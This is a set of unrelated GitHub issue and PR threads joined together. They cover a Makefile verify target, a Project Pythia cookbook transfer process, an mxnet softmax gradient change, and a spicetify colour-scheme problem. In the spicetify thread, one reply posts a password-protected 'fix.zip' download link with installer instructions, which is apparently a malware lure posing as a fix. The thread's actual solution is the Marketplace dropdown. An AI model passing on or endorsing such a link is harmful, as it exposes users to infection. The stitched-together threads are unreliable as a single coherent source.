I'm closing this PR in favor of upcoming PRs for issues: https://github.com/ably/ably-cocoa/issues/1268, https://github.com/ably/ably-cocoa/issues/1264 and other issues spawned this one - from https://github.com/ably/docs/issues/1288


Add make verify target

[x] Add make verify target
[x] Add verify-lint target
[x] Add verify-gofmt target
[x] Add verify-go-vet target
[x] Fix make verify-imports target to error when verify-imports fails.
[x] Fix golint errors in codebase
[x] Remove fmt and vet targets from build targets (necessary for make verify to work)
[x] Add .PHONY to Makefile targets that don't produce files of the same name.

/lgtm

/retest unit

/test unit

/shrug

@dgoodwin hey, I rebased on master and had to update some of the new code to comply with go vet's checks.
Would you mind reviewing this again please?

/lgtm

/retest all

/test all


Clarify cookbook transfer process in Contributor's Guide

Section 4i currently reads

Transfer cookbook to the ProjectPythia organization

Navigate to the settings of your repo, scroll down to the Danger Zone, and click "Transfer"

For ProjectPythia owners or members: type "ProjectPythia", confirm, and transfer
For outside contributors:

Contact an owner of ProjectPythia to be added as an outside collaborator. Then transfer to ProjectPythia; or
Type the username of an owner or member. They will then tranfer it to ProjectPythia and add you as an outside collaborator on that repo

I think our current process would look something like

Contact Project Pythia via the Pangeo Discourse (or otherwise) to let us know about your Cookbook
Someone will add you as a member of the ProjectPythia org
Transfer your Cookbook to the ProjectPythia org
Your role will be changed to "Outside collaborator" so that you will still have write access to your Cookbook

This might be a slightly awkward way of doing it, since it involves adding someone as a full member before "demoting" them, but I'm not sure if there is a more straightforward way. Our base permissions for members is read-only, so we may not even need to demote to outside collaborator. @dcamron Does this make sense based on your experience so far?

My $0.02: we should completely get rid of the "outside contributor" status. It's not necessary and puts up an unhelpful silo around Pythia.
If you contribute something, you should be a member of the Pythia org.
We can and do use GitHub teams for more fine-grained control of access, review requests, etc.

Yep, that's what I've done for two contributions so far. "Demoting" to outside collaborator is limiting in some ways (eg repo settings) and may not be necessary, though it might make it easier to manage contributor access (and see the list of those) as we grow. Either way we should probably also add this as a step to the issue template in cookbook-gallery.

I think it makes sense to abandon the outside collaborator role and use teams to organize permissions. It would be worth discussing the specifics at our next meeting, but for now I'll open a PR to reflect our current process without the demotion part (steps 1-3 above).

I may be absent from our next meeting, but my strong opinion is that we need to build a big tent. Making a habit of "demoting" people sends the wrong message. We need to be as inclusive as possible in our practices.
conda-forge uses a teams model to manage access. I'm a member of the (very large) conda-forge organization, which costs nothing but gives me a sense of inclusion. And I'm a team member on the small handful of repos that I'm a named maintainer of. I only have merge credentials on those repos. I think this model works well.


Fix softmax gradient.

Basically we are using grad_scale in optimizer to do this function, so I think in this view it won't be fixed.

I assume mxnet uses cross entropy as the loss function of softmax, so mathematically its gradient should be divided by n. You can see https://github.com/dmlc/mxnet/blob/master/src/operator/regression_output-inl.h#L76, where the gradient is also divided by num_ouptut.

Thank you again for contribution! I will add a normalization Parma today,
which will also consider ignore label case. I am worried current change
will break many example and old code.
On Mon, May 23, 2016 at 11:58 Xin Li<EMAIL_ADDRESS>wrote:

I assume mxnet uses cross entropy as the loss function of softmax, so
mathematically its gradient should be divided by n. You can see
https://github.com/dmlc/mxnet/blob/master/src/operator/regression_output-inl.h#L76,
where the gradient is also divided by num_ouptut.
—
You are receiving this because you commented.
Reply to this email directly or view it on GitHub
https://github.com/dmlc/mxnet/pull/2215#issuecomment-221058321

--
Sent from mobile phone

You are confusing multi target with batch_size, operators normalize for the first while the second is done by optimizers

Close for now


sleek wont change colors

so i'm using
spicetify config color_scheme VantaBlack
spicetify apply

in powershell, spotify restarts, but nothing changes
https://imgur.com/a/M9aKwbz
what i'm doing wrong?

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

are you using marketplace? there should be a dropdown in the top right to change colour schemes there.

are you using marketplace? there should be a dropdown in the top right to change colour schemes there.

yep, found it. thanks!